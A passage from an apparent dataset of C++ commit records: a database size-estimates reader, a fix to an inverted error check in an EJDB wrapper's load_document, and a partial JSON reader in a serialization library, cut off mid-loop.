node.\n     * Used for testing as well.\n     *\/\n    static future<std::vector<token_range>> get_local_ranges() {\n        auto& ss = service::get_local_storage_service();\n        return ss.get_local_tokens().then([&ss] (auto&& tokens) {\n            auto ranges = ss.get_token_metadata().get_primary_ranges_for(std::move(tokens));\n            std::vector<token_range> local_ranges;\n            auto to_bytes = [](const stdx::optional<dht::token_range::bound>& b) {\n                assert(b);\n                return utf8_type->decompose(dht::global_partitioner().to_sstring(b->value()));\n            };\n            \/\/ We merge the ranges to be compatible with how Cassandra shows it's size estimates table.\n            \/\/ All queries will be on that table, where all entries are text and there's no notion of\n            \/\/ token ranges form the CQL point of view.\n            auto left_inf = boost::find_if(ranges, [] (auto&& r) {\n                return !r.start() || r.start()->value() == dht::minimum_token();\n            });\n            auto right_inf = boost::find_if(ranges, [] (auto&& r) {\n                return !r.end() || r.start()->value() == dht::maximum_token();\n            });\n            if (left_inf != right_inf && left_inf != ranges.end() && right_inf != ranges.end()) {\n                local_ranges.push_back(token_range{to_bytes(right_inf->start()), to_bytes(left_inf->end())});\n                ranges.erase(left_inf);\n                ranges.erase(right_inf);\n            }\n            for (auto&& r : ranges) {\n                local_ranges.push_back(token_range{to_bytes(r.start()), to_bytes(r.end())});\n            }\n            boost::sort(local_ranges, [] (auto&& tr1, auto&& tr2) {\n                return utf8_type->less(tr1.start, tr2.start);\n            });\n            return local_ranges;\n        });\n    }\nprivate:\n    struct virtual_row {\n        const bytes& cf_name;\n        const token_range& tokens;\n        clustering_key_prefix as_key() const {\n            return clustering_key_prefix::from_exploded(std::vector<bytes_view>{cf_name, tokens.start, tokens.end});\n        }\n    };\n    struct virtual_row_comparator {\n        schema_ptr _schema;\n        virtual_row_comparator(schema_ptr schema) : _schema(schema) { }\n        bool operator()(const clustering_key_prefix& key1, const clustering_key_prefix& key2) {\n            return clustering_key_prefix::prefix_equality_less_compare(*_schema)(key1, key2);\n        }\n        bool operator()(const virtual_row& row, const clustering_key_prefix& key) {\n            return operator()(row.as_key(), key);\n        }\n        bool operator()(const clustering_key_prefix& key, const virtual_row& row) {\n            return operator()(key, row.as_key());\n        }\n    };\n    class virtual_row_iterator : public std::iterator<std::input_iterator_tag, const virtual_row> {\n        std::reference_wrapper<const std::vector<bytes>> _cf_names;\n        std::reference_wrapper<const std::vector<token_range>> _ranges;\n        size_t _cf_names_idx = 0;\n        size_t _ranges_idx = 0;\n    public:\n        struct end_iterator_tag {};\n        virtual_row_iterator(const std::vector<bytes>& cf_names, const std::vector<token_range>& ranges)\n                : _cf_names(std::ref(cf_names))\n                , _ranges(std::ref(ranges))\n        { }\n        virtual_row_iterator(const std::vector<bytes>& cf_names, const std::vector<token_range>& ranges, end_iterator_tag)\n                : _cf_names(std::ref(cf_names))\n                , _ranges(std::ref(ranges))\n                , _cf_names_idx(cf_names.size())\n                , _ranges_idx(ranges.size())\n        { }\n        virtual_row_iterator& operator++() {\n            if (++_ranges_idx == _ranges.get().size() && ++_cf_names_idx < _cf_names.get().size()) {\n                _ranges_idx = 0;\n            }\n            return *this;\n        }\n        virtual_row_iterator operator++(int) {\n            virtual_row_iterator i(*this);\n            ++(*this);\n            return i;\n        }\n        const value_type operator*() const {\n            return { _cf_names.get()[_cf_names_idx], _ranges.get()[_ranges_idx] };\n        }\n        bool operator==(const virtual_row_iterator& i) const {\n            return _cf_names_idx == i._cf_names_idx\n                && _ranges_idx == i._ranges_idx;\n        }\n        bool operator!=(const virtual_row_iterator& i) const {\n            return !(*this == i);\n        }\n    };\n\n    std::vector<db::system_keyspace::range_estimates>\n    estimates_for_current_keyspace(const database& db, std::vector<token_range> local_ranges) const {\n        auto pkey = partition_key::from_single_value(*_schema, utf8_type->decompose(*_current_partition));\n        auto cfs = db.find_keyspace(*_current_partition).metadata()->cf_meta_data();\n        auto cf_names = boost::copy_range<std::vector<bytes>>(cfs | boost::adaptors::transformed([] (auto&& cf) {\n            return utf8_type->decompose(cf.first);\n        }));\n        boost::sort(cf_names, [] (auto&& n1, auto&& n2) {\n            return utf8_type->less(n1, n2);\n        });\n        std::vector<db::system_keyspace::range_estimates> estimates;\n        for (auto& range : _slice.row_ranges(*_schema, pkey)) {\n            auto rows = boost::make_iterator_range(\n                    virtual_row_iterator(cf_names, local_ranges),\n                    virtual_row_iterator(cf_names, local_ranges, virtual_row_iterator::end_iterator_tag()));\n            auto rows_to_estimate = range.slice(rows, virtual_row_comparator(_schema));\n            for (auto&& r : rows_to_estimate) {\n                auto& cf = db.find_column_family(*_current_partition, utf8_type->to_string(r.cf_name));\n                estimates.push_back(estimate(cf, r.tokens));\n                if (estimates.size() >= _slice.partition_row_limit()) {\n                    return estimates;\n                }\n            }\n        }\n        return estimates;\n    }\n\n    \/**\n     * Returns the keyspaces, ordered by name, as selected by the partition_range.\n     *\/\n    static ks_range get_keyspaces(const schema& s, const database& db, dht::partition_range range) {\n        struct keyspace_less_comparator {\n            const schema& _s;\n            keyspace_less_comparator(const schema& s) : _s(s) { }\n            dht::ring_position as_ring_position(const sstring& ks) {\n                auto pkey = partition_key::from_single_value(_s, utf8_type->decompose(ks));\n                return dht::global_partitioner().decorate_key(_s, std::move(pkey));\n            }\n            bool operator()(const sstring& ks1, const sstring& ks2) {\n                return as_ring_position(ks1).less_compare(_s, as_ring_position(ks2));\n            }\n            bool operator()(const sstring& ks, const dht::ring_position& rp) {\n                return as_ring_position(ks).less_compare(_s, rp);\n            }\n            bool operator()(const dht::ring_position& rp, const sstring& ks) {\n                return rp.less_compare(_s, as_ring_position(ks));\n            }\n        };\n        auto keyspaces = db.get_non_system_keyspaces();\n        auto cmp = keyspace_less_comparator(s);\n        boost::sort(keyspaces, cmp);\n        return boost::copy_range<ks_range>(range.slice(keyspaces, std::move(cmp)));\n    }\n\n    \/**\n     * Makes a wrapping range of ring_position from a nonwrapping range of token, used to select sstables.\n     *\/\n    static dht::partition_range as_ring_position_range(dht::token_range& r) {\n        stdx::optional<range<dht::ring_position>::bound> start_bound, end_bound;\n        if (r.start()) {\n            start_bound = {{ dht::ring_position(r.start()->value(), dht::ring_position::token_bound::start), r.start()->is_inclusive() }};\n        }\n        if (r.end()) {\n            end_bound = {{ dht::ring_position(r.end()->value(), dht::ring_position::token_bound::end), r.end()->is_inclusive() }};\n        }\n        return dht::partition_range(std::move(start_bound), std::move(end_bound), r.is_singular());\n    }\n\n    \/**\n     * Add a new range_estimates for the specified range, considering the sstables associated with `cf`.\n     *\/\n    static system_keyspace::range_estimates estimate(const column_family& cf, const token_range& r) {\n        int64_t count{0};\n        utils::estimated_histogram hist{0};\n        auto from_bytes = [] (auto& b) {\n            return dht::global_partitioner().from_sstring(utf8_type->to_string(b));\n        };\n        dht::token_range_vector ranges;\n        compat::unwrap_into(\n            wrapping_range<dht::token>({{ from_bytes(r.start) }}, {{ from_bytes(r.end) }}),\n            dht::token_comparator(),\n            [&] (auto&& rng) { ranges.push_back(std::move(rng)); });\n        for (auto&& r : ranges) {\n            auto rp_range = as_ring_position_range(r);\n            for (auto&& sstable : cf.select_sstables(rp_range)) {\n                count += sstable->estimated_keys_for_range(r);\n                hist.merge(sstable->get_stats_metadata().estimated_row_size);\n            }\n        }\n        return {cf.schema(), r.start, r.end, count, count > 0 ? hist.mean() : 0};\n    }\n};\n\nstruct virtual_reader {\n    flat_mutation_reader operator()(schema_ptr schema,\n            const dht::partition_range& range,\n            const query::partition_slice& slice,\n            const io_priority_class& pc,\n            tracing::trace_state_ptr trace_state,\n            streamed_mutation::forwarding fwd,\n            mutation_reader::forwarding fwd_mr) {\n        return make_flat_mutation_reader<size_estimates_mutation_reader>(schema, range, slice, fwd);\n    }\n};\n\n} \/\/ namespace size_estimates\n\n} \/\/ namespace db\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n *\n * C++11 wrapper for EJDB (http:\/\/ejdb.org)\n * Copyright (C) 2013 Christian Manning\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301\n * USA\n *****************************************************************************\/\n\n#include <array>\n\n#include <boost\/optional.hpp>\n#include <boost\/range\/adaptor\/transformed.hpp>\n\n#include <jbson\/document.hpp>\n#include <jbson\/json_reader.hpp>\n\n#include <ejpp\/c_ejdb.hpp>\n#include <ejpp\/ejdb.hpp>\n\nnamespace ejdb {\n\nusing namespace jbson::literal;\n\nstruct ejdb_deleter {\n    void operator()(EJDB* ptr) const { c_ejdb::del(ptr); }\n};\n\nvoid query::eqry_deleter::operator()(EJQ* ptr) const { c_ejdb::querydel(ptr); }\n\nejdb::ejdb() : m_db(c_ejdb::newdb(), ejdb_deleter()) {}\n\nejdb::operator bool() const noexcept { return static_cast<bool>(m_db); }\n\nstd::error_code ejdb::error() const noexcept {\n    assert(m_db);\n    return make_error_code(c_ejdb::ecode(m_db.get()));\n}\n\nbool ejdb::open(const std::string& path, int mode, std::error_code& ec) noexcept {\n    assert(m_db);\n    const auto r = c_ejdb::open(m_db.get(), path.c_str(), mode);\n    if(!r)\n        ec = error();\n    return r;\n}\n\nbool ejdb::is_open() const noexcept {\n    assert(m_db);\n    return c_ejdb::isopen(m_db.get());\n}\n\nbool ejdb::close(std::error_code& ec) noexcept {\n    assert(m_db);\n    const auto r = c_ejdb::closedb(m_db.get());\n    if(!r)\n        ec = error();\n    return r;\n}\n\ncollection ejdb::get_collection(const std::string& name, std::error_code& ec) const noexcept {\n    assert(m_db);\n    const auto r = c_ejdb::getcoll(m_db.get(), name.c_str());\n    if(!r)\n        ec = error();\n    return {m_db, r};\n}\n\ncollection ejdb::create_collection(const std::string& name, std::error_code& ec) noexcept {\n    assert(m_db);\n    const auto r = c_ejdb::createcoll(m_db.get(), name.c_str(), nullptr);\n    if(!r)\n        ec = error();\n    return {m_db, r};\n}\n\nbool ejdb::remove_collection(const std::string& name, bool unlink_file, std::error_code& ec) noexcept {\n    assert(m_db);\n    const auto r = c_ejdb::rmcoll(m_db.get(), name.c_str(), unlink_file);\n    if(!r)\n        ec = error();\n    return r;\n}\n\nconst std::deque<collection> ejdb::get_collections() const noexcept {\n    assert(m_db);\n    auto colls = c_ejdb::getcolls(m_db.get());\n    auto range = boost::adaptors::transform(colls, [this](EJCOLL* c) { return collection{m_db, c}; });\n    return {range.begin(), range.end()};\n}\n\nquery ejdb::create_query(const jbson::document& doc, std::error_code& ec) noexcept {\n    assert(m_db);\n    try {\n        const auto r = c_ejdb::createquery(m_db.get(), doc.data().data());\n        if(!r)\n            ec = error();\n        return {m_db, r};\n    }\n    catch(jbson::jbson_error&) {\n        ec = make_error_code(9001);\n        return query{};\n    }\n}\n\nbool ejdb::sync(std::error_code& ec) noexcept {\n    assert(m_db);\n    const auto r = c_ejdb::syncdb(m_db.get());\n    if(!r)\n        ec = error();\n    return r;\n}\n\nboost::optional<jbson::document> ejdb::metadata() noexcept {\n    assert(m_db);\n    auto r = c_ejdb::metadb(m_db.get());\n    return r.empty() ? boost::optional<jbson::document>{boost::none} : jbson::document{std::move(r)};\n}\n\ncollection::collection(std::weak_ptr<EJDB> db, EJCOLL* coll) noexcept : m_db(db), m_coll(coll) {}\n\ncollection::operator bool() const noexcept { return !m_db.expired() && m_coll != nullptr; }\n\nboost::optional<std::array<char, 12>> collection::save_document(const jbson::document& data,\n                                                                std::error_code& ec) noexcept {\n    return save_document(data, false, ec);\n}\n\nboost::optional<std::array<char, 12>> collection::save_document(const jbson::document& doc, bool merge,\n                                                                std::error_code& ec) noexcept {\n    assert(m_coll);\n    auto db = m_db.lock();\n    if(!db && (ec = std::make_error_code(std::errc::owner_dead)))\n        return {};\n    std::array<char, 12> oid;\n    const auto r = c_ejdb::savebson2(m_coll, doc.data().data(), oid.data(), merge);\n    ec = make_error_code(!r ? c_ejdb::ecode(db.get()) : 0);\n    return r ? oid : boost::optional<std::array<char, 12>>{boost::none};\n}\n\nboost::optional<jbson::document> collection::load_document(std::array<char, 12> oid, std::error_code& ec) const\n    noexcept {\n    assert(m_coll);\n    auto r = c_ejdb::loadbson(m_coll, oid.data());\n    auto db = m_db.lock();\n    ec = make_error_code(r.empty() && db ? c_ejdb::ecode(db.get()) : 0);\n    if(!ec)\n        return boost::none;\n    return jbson::document(std::move(r));\n}\n\nbool collection::remove_document(std::array<char, 12> oid, std::error_code& ec) noexcept {\n    assert(m_coll);\n    const auto r = c_ejdb::rmbson(m_coll, oid.data());\n    auto db = m_db.lock();\n    if(!r && db)\n        ec = make_error_code(c_ejdb::ecode(db.get()));\n    return r;\n}\n\nstd::vector<jbson::document> collection::execute_query(const query& qry, int sm) noexcept {\n    assert(m_coll);\n    if(!qry)\n        return {};\n    assert(qry.m_qry);\n    uint32_t s{0};\n    const auto list = c_ejdb::qryexecute(m_coll, qry.m_qry.get(), &s, sm);\n    if(list == nullptr)\n        return {};\n    assert(s == static_cast<decltype(s)>(c_ejdb::qresultnum(list)));\n    std::vector<jbson::document> r;\n    r.reserve(s);\n    int ns{0};\n    for(uint32_t i = 0; i < s; i++) {\n        auto data = reinterpret_cast<const char*>(c_ejdb::qresultbsondata(list, i, &ns));\n        if(data == nullptr) {\n            s--;\n            continue;\n        }\n        r.emplace_back(data, data + ns);\n    }\n    assert(r.size() == s);\n    c_ejdb::qresultdispose(list);\n    return std::move(r);\n}\n\nstd::vector<jbson::document> collection::get_all() noexcept {\n    auto db = m_db.lock();\n    auto vec = \"{}\"_json_doc.data();\n    auto q = query{m_db, c_ejdb::createquery(db.get(), vec.data())};\n    return execute_query(q);\n}\n\nbool collection::sync(std::error_code& ec) noexcept {\n    assert(m_coll);\n    const auto r = c_ejdb::syncoll(m_coll);\n    auto db = m_db.lock();\n    if(!r && db)\n        ec = make_error_code(c_ejdb::ecode(db.get()));\n    return r;\n}\n\nboost::string_ref collection::name() const noexcept {\n    assert(m_coll);\n    return c_ejdb::collection_name(m_coll);\n}\n\nquery::query(std::weak_ptr<EJDB> db, EJQ* qry) noexcept : m_db(db), m_qry(qry) {}\n\nquery::~query() noexcept {}\n\nquery& query::operator|=(const jbson::document& obj) noexcept {\n    assert(m_qry);\n    auto db = m_db.lock();\n    if(!db)\n        return *this;\n\n    auto q = c_ejdb::queryaddor(db.get(), m_qry.get(), obj.data().data());\n    if(q != m_qry.get())\n        m_qry.reset(q);\n\n    return *this;\n}\n\nquery& query::set_hints(const jbson::document& obj) noexcept {\n    assert(m_qry);\n    auto db = m_db.lock();\n    if(!db)\n        return *this;\n    auto q = c_ejdb::queryhints(db.get(), m_qry.get(), obj.data().data());\n    if(q != m_qry.get())\n        m_qry.reset(q);\n\n    return *this;\n}\n\nquery::operator bool() const noexcept { return !m_db.expired() && m_qry != nullptr; }\n\nclass error_category : public std::error_category {\n  public:\n    constexpr error_category() noexcept = default;\n\n    const char* name() const noexcept override { return \"EJDB\"; }\n\n    std::string message(int ecode) const noexcept override { return c_ejdb::errmsg(ecode); }\n};\n\ninline std::error_code make_error_code(int ecode) {\n    static const error_category ecat{};\n    return std::error_code{ecode, ecat};\n}\n\n} \/\/ namespace ejdb\n<commit_msg>Fix load_document<commit_after>\/******************************************************************************\n *\n * C++11 wrapper for EJDB (http:\/\/ejdb.org)\n * Copyright (C) 2013 Christian Manning\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301\n * USA\n *****************************************************************************\/\n\n#include <array>\n\n#include <boost\/optional.hpp>\n#include <boost\/range\/adaptor\/transformed.hpp>\n\n#include <jbson\/document.hpp>\n#include <jbson\/json_reader.hpp>\n\n#include <ejpp\/c_ejdb.hpp>\n#include <ejpp\/ejdb.hpp>\n\nnamespace ejdb {\n\nusing namespace jbson::literal;\n\nstruct ejdb_deleter {\n    void operator()(EJDB* ptr) const { c_ejdb::del(ptr); }\n};\n\nvoid query::eqry_deleter::operator()(EJQ* ptr) const { c_ejdb::querydel(ptr); }\n\nejdb::ejdb() : m_db(c_ejdb::newdb(), ejdb_deleter()) {}\n\nejdb::operator bool() const noexcept { return static_cast<bool>(m_db); }\n\nstd::error_code ejdb::error() const noexcept {\n    assert(m_db);\n    return make_error_code(c_ejdb::ecode(m_db.get()));\n}\n\nbool ejdb::open(const std::string& path, int mode, std::error_code& ec) noexcept {\n    assert(m_db);\n    const auto r = c_ejdb::open(m_db.get(), path.c_str(), mode);\n    if(!r)\n        ec = error();\n    return r;\n}\n\nbool ejdb::is_open() const noexcept {\n    assert(m_db);\n    return c_ejdb::isopen(m_db.get());\n}\n\nbool ejdb::close(std::error_code& ec) noexcept {\n    assert(m_db);\n    const auto r = c_ejdb::closedb(m_db.get());\n    if(!r)\n        ec = error();\n    return r;\n}\n\ncollection ejdb::get_collection(const std::string& name, std::error_code& ec) const noexcept {\n    assert(m_db);\n    const auto r = c_ejdb::getcoll(m_db.get(), name.c_str());\n    if(!r)\n        ec = error();\n    return {m_db, r};\n}\n\ncollection ejdb::create_collection(const std::string& name, std::error_code& ec) noexcept {\n    assert(m_db);\n    const auto r = c_ejdb::createcoll(m_db.get(), name.c_str(), nullptr);\n    if(!r)\n        ec = error();\n    return {m_db, r};\n}\n\nbool ejdb::remove_collection(const std::string& name, bool unlink_file, std::error_code& ec) noexcept {\n    assert(m_db);\n    const auto r = c_ejdb::rmcoll(m_db.get(), name.c_str(), unlink_file);\n    if(!r)\n        ec = error();\n    return r;\n}\n\nconst std::deque<collection> ejdb::get_collections() const noexcept {\n    assert(m_db);\n    auto colls = c_ejdb::getcolls(m_db.get());\n    auto range = boost::adaptors::transform(colls, [this](EJCOLL* c) { return collection{m_db, c}; });\n    return {range.begin(), range.end()};\n}\n\nquery ejdb::create_query(const jbson::document& doc, std::error_code& ec) noexcept {\n    assert(m_db);\n    try {\n        const auto r = c_ejdb::createquery(m_db.get(), doc.data().data());\n        if(!r)\n            ec = error();\n        return {m_db, r};\n    }\n    catch(jbson::jbson_error&) {\n        ec = make_error_code(9001);\n        return query{};\n    }\n}\n\nbool ejdb::sync(std::error_code& ec) noexcept {\n    assert(m_db);\n    const auto r = c_ejdb::syncdb(m_db.get());\n    if(!r)\n        ec = error();\n    return r;\n}\n\nboost::optional<jbson::document> ejdb::metadata() noexcept {\n    assert(m_db);\n    auto r = c_ejdb::metadb(m_db.get());\n    return r.empty() ? boost::optional<jbson::document>{boost::none} : jbson::document{std::move(r)};\n}\n\ncollection::collection(std::weak_ptr<EJDB> db, EJCOLL* coll) noexcept : m_db(db), m_coll(coll) {}\n\ncollection::operator bool() const noexcept { return !m_db.expired() && m_coll != nullptr; }\n\nboost::optional<std::array<char, 12>> collection::save_document(const jbson::document& data,\n                                                                std::error_code& ec) noexcept {\n    return save_document(data, false, ec);\n}\n\nboost::optional<std::array<char, 12>> collection::save_document(const jbson::document& doc, bool merge,\n                                                                std::error_code& ec) noexcept {\n    assert(m_coll);\n    auto db = m_db.lock();\n    if(!db && (ec = std::make_error_code(std::errc::owner_dead)))\n        return {};\n    std::array<char, 12> oid;\n    const auto r = c_ejdb::savebson2(m_coll, doc.data().data(), oid.data(), merge);\n    ec = make_error_code(!r ? c_ejdb::ecode(db.get()) : 0);\n    return r ? oid : boost::optional<std::array<char, 12>>{boost::none};\n}\n\nboost::optional<jbson::document> collection::load_document(std::array<char, 12> oid, std::error_code& ec) const\n    noexcept {\n    assert(m_coll);\n    auto r = c_ejdb::loadbson(m_coll, oid.data());\n    auto db = m_db.lock();\n    ec = make_error_code(r.empty() && db ? c_ejdb::ecode(db.get()) : 0);\n    if(ec)\n        return boost::none;\n    return jbson::document(std::move(r));\n}\n\nbool collection::remove_document(std::array<char, 12> oid, std::error_code& ec) noexcept {\n    assert(m_coll);\n    const auto r = c_ejdb::rmbson(m_coll, oid.data());\n    auto db = m_db.lock();\n    if(!r && db)\n        ec = make_error_code(c_ejdb::ecode(db.get()));\n    return r;\n}\n\nstd::vector<jbson::document> collection::execute_query(const query& qry, int sm) noexcept {\n    assert(m_coll);\n    if(!qry)\n        return {};\n    assert(qry.m_qry);\n    uint32_t s{0};\n    const auto list = c_ejdb::qryexecute(m_coll, qry.m_qry.get(), &s, sm);\n    if(list == nullptr)\n        return {};\n    assert(s == static_cast<decltype(s)>(c_ejdb::qresultnum(list)));\n    std::vector<jbson::document> r;\n    r.reserve(s);\n    int ns{0};\n    for(uint32_t i = 0; i < s; i++) {\n        auto data = reinterpret_cast<const char*>(c_ejdb::qresultbsondata(list, i, &ns));\n        if(data == nullptr) {\n            s--;\n            continue;\n        }\n        r.emplace_back(data, data + ns);\n    }\n    assert(r.size() == s);\n    c_ejdb::qresultdispose(list);\n    return std::move(r);\n}\n\nstd::vector<jbson::document> collection::get_all() noexcept {\n    auto db = m_db.lock();\n    auto vec = \"{}\"_json_doc.data();\n    auto q = query{m_db, c_ejdb::createquery(db.get(), vec.data())};\n    return execute_query(q);\n}\n\nbool collection::sync(std::error_code& ec) noexcept {\n    assert(m_coll);\n    const auto r = c_ejdb::syncoll(m_coll);\n    auto db = m_db.lock();\n    if(!r && db)\n        ec = make_error_code(c_ejdb::ecode(db.get()));\n    return r;\n}\n\nboost::string_ref collection::name() const noexcept {\n    assert(m_coll);\n    return c_ejdb::collection_name(m_coll);\n}\n\nquery::query(std::weak_ptr<EJDB> db, EJQ* qry) noexcept : m_db(db), m_qry(qry) {}\n\nquery::~query() noexcept {}\n\nquery& query::operator|=(const jbson::document& obj) noexcept {\n    assert(m_qry);\n    auto db = m_db.lock();\n    if(!db)\n        return *this;\n\n    auto q = c_ejdb::queryaddor(db.get(), m_qry.get(), obj.data().data());\n    if(q != m_qry.get())\n        m_qry.reset(q);\n\n    return *this;\n}\n\nquery& query::set_hints(const jbson::document& obj) noexcept {\n    assert(m_qry);\n    auto db = m_db.lock();\n    if(!db)\n        return *this;\n    auto q = c_ejdb::queryhints(db.get(), m_qry.get(), obj.data().data());\n    if(q != m_qry.get())\n        m_qry.reset(q);\n\n    return *this;\n}\n\nquery::operator bool() const noexcept { return !m_db.expired() && m_qry != nullptr; }\n\nclass error_category : public std::error_category {\n  public:\n    constexpr error_category() noexcept = default;\n\n    const char* name() const noexcept override { return \"EJDB\"; }\n\n    std::string message(int ecode) const noexcept override { return c_ejdb::errmsg(ecode); }\n};\n\ninline std::error_code make_error_code(int ecode) {\n    static const error_category ecat{};\n    return std::error_code{ecode, ecat};\n}\n\n} \/\/ namespace ejdb\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>dbaccess: RowSet.cxx: update m_bIsInsertRow<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/\tCopyright 2017 Adam Smith\n\/\/\tLicensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\tyou may not use this file except in compliance with the License.\n\/\/\tYou may obtain a copy of the License at\n\/\/ \n\/\/\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/\tUnless required by applicable law or agreed to in writing, software\n\/\/\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\tSee the License for the specific language governing permissions and\n\/\/\tlimitations under the License.\n\n#include \"asmith\/serial\/json.hpp\"\n\t\nnamespace asmith { namespace serial {\n\tvoid json_format::write_serial(const value& aType, std::ostream& aStream) {\n\t\tconst value::type tBuf = aType.get_type();\n\n\t\tswitch(tBuf) {\n\t\tcase value::NULL_T:\n\t\t\taStream << \"null\";\n\t\t\tbreak;\n\t\tcase value::BOOl_T:\n\t\t\taStream << (aType.get_bool() ? \"true\" : \"false\");\n\t\t\tbreak;\n\t\tcase value::CHAR_T:\n\t\t\taStream << '\"' << aType.get_char() << '\"';\n\t\t\tbreak;\n\t\tcase value::NUMBER_T:\n\t\t\taStream << aType.get_number();\n\t\t\tbreak;\n\t\tcase value::STRING_T:\n\t\t\taStream << '\"' << aType.get_string() << '\"';\n\t\t\tbreak;\n\t\tcase value::ARRAY_T:\n\t\t\t{\n\t\t\t\taStream << '[';\n\t\t\t\tconst value::array_t tmp = aType.get_array();\n\t\t\t\tconst size_t s = tmp.size();\n\t\t\t\tfor(size_t i = 0; i < s; ++i) {\n\t\t\t\t\twrite_serial(tmp[i], aStream);\n\t\t\t\t\tif(i + 1 < s) aStream << ',';\n\t\t\t\t}\n\t\t\t\taStream << ']';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase value::OBJECT_T:\n\t\t{\n\t\t\taStream << '{';\n\t\t\tconst value::object_t tmp = aType.get_object();\n\t\t\tconst size_t s = tmp.size();\n\t\t\tsize_t i = 0;\n\t\t\tfor(const auto& v : tmp) {\n\t\t\t\taStream << '\"' << v.first<< '\"' << ':';\n\t\t\t\twrite_serial(v.second, aStream);\n\t\t\t\tif(i + 1 < s) aStream << ',';\n\t\t\t\t++i;\n\t\t\t}\n\t\t\taStream << '}';\n\t\t}\n\t\tbreak;\n\t\tdefault:\n\t\t\tthrow std::runtime_error(\"json_format : Invalid serial type\");\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tvalue json_format::read_serial(std::istream& aStream) {\n\t\t\/\/! \\todo Implement\n\t\treturn value();\n\t}\n}}<commit_msg>Partial implementation of JSON reading<commit_after>\/\/\tCopyright 2017 Adam Smith\n\/\/\tLicensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\tyou may not use this file except in compliance with the License.\n\/\/\tYou may obtain a copy of the License at\n\/\/ \n\/\/\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/\tUnless required by applicable law or agreed to in writing, software\n\/\/\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\tSee the License for the specific language governing permissions and\n\/\/\tlimitations under the License.\n\n#include \"asmith\/serial\/json.hpp\"\n#include <cctype>\n\t\nnamespace asmith { namespace serial {\n\n\tvoid json_skip_whitespace(std::istream& aStream) {\n\t\tchar c = aStream.peek();\n\t\twhile(std::isspace(c)) {\n\t\t\taStream.read(&c, 1);\n\t\t}\n\t}\n\n\tvalue::type json_determine_type(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\t\tchar c = aStream.peek();\n\t\tswitch(c) {\n\t\tcase 'n':\n\t\t\treturn value::NULL_T;\n\t\tcase 't':\n\t\tcase 'f':\n\t\t\treturn value::BOOl_T;\n\t\tcase '0':\n\t\tcase '1':\n\t\tcase '2':\n\t\tcase '3':\n\t\tcase '4':\n\t\tcase '5':\n\t\tcase '6':\n\t\tcase '7':\n\t\tcase '8':\n\t\tcase '9':\n\t\t\treturn value::NUMBER_T;\n\t\tcase '\"':\n\t\t\treturn value::STRING_T;\n\t\tcase '[':\n\t\t\treturn value::ARRAY_T;\n\t\tcase '{':\n\t\t\treturn value::OBJECT_T;\n\t\tdefault:\n\t\t\tthrow std::runtime_error(\"asmith::json_format::read_serial : Could not determin JSON type\");\n\t\t}\n\t}\n\n\tvalue json_read_value(std::istream&);\n\n\tvalue json_read_null(std::istream& aStream) {\n\n\t}\n\n\tvalue json_read_bool(std::istream& aStream) {\n\n\t}\n\n\tvalue json_read_number(std::istream& aStream) {\n\n\t}\n\n\tvalue json_read_string(std::istream& aStream) {\n\n\t}\n\n\tvalue json_read_array(std::istream& aStream) {\n\n\t}\n\n\tvalue json_read_object(std::istream& aStream) {\n\n\t}\n\n\tvalue json_read_value(std::istream& aStream) {\n\t\tswitch(json_determine_type(aStream)) {\n\t\tcase value::NULL_T:\n\t\t\treturn json_read_null(aStream);\n\t\tcase value::BOOl_T:\n\t\t\treturn json_read_bool(aStream);\n\t\tcase value::NUMBER_T:\n\t\t\treturn json_read_number(aStream);\n\t\tcase value::STRING_T:\n\t\t\treturn json_read_string(aStream);\n\t\tcase value::ARRAY_T:\n\t\t\treturn json_read_array(aStream);\n\t\tcase value::OBJECT_T:\n\t\t\treturn json_read_object(aStream);\n\t\tdefault:\n\t\t\tthrow std::runtime_error(\"asmith::json_format::read_serial : Could not determin JSON type\");\n\t\t}\n\t}\n\n\tvoid json_format::write_serial(const value& aType, std::ostream& aStream) {\n\t\tconst value::type tBuf = aType.get_type();\n\n\t\tswitch(tBuf) {\n\t\tcase value::NULL_T:\n\t\t\taStream << \"null\";\n\t\t\tbreak;\n\t\tcase value::BOOl_T:\n\t\t\taStream << (aType.get_bool() ? \"true\" : \"false\");\n\t\t\tbreak;\n\t\tcase value::CHAR_T:\n\t\t\taStream << '\"' << aType.get_char() << '\"';\n\t\t\tbreak;\n\t\tcase value::NUMBER_T:\n\t\t\taStream << aType.get_number();\n\t\t\tbreak;\n\t\tcase value::STRING_T:\n\t\t\taStream << '\"' << aType.get_string() << '\"';\n\t\t\tbreak;\n\t\tcase value::ARRAY_T:\n\t\t\t{\n\t\t\t\taStream << '[';\n\t\t\t\tconst value::array_t tmp = aType.get_array();\n\t\t\t\tconst size_t s = tmp.size();\n\t\t\t\tfor(size_t i = 0; i < s; 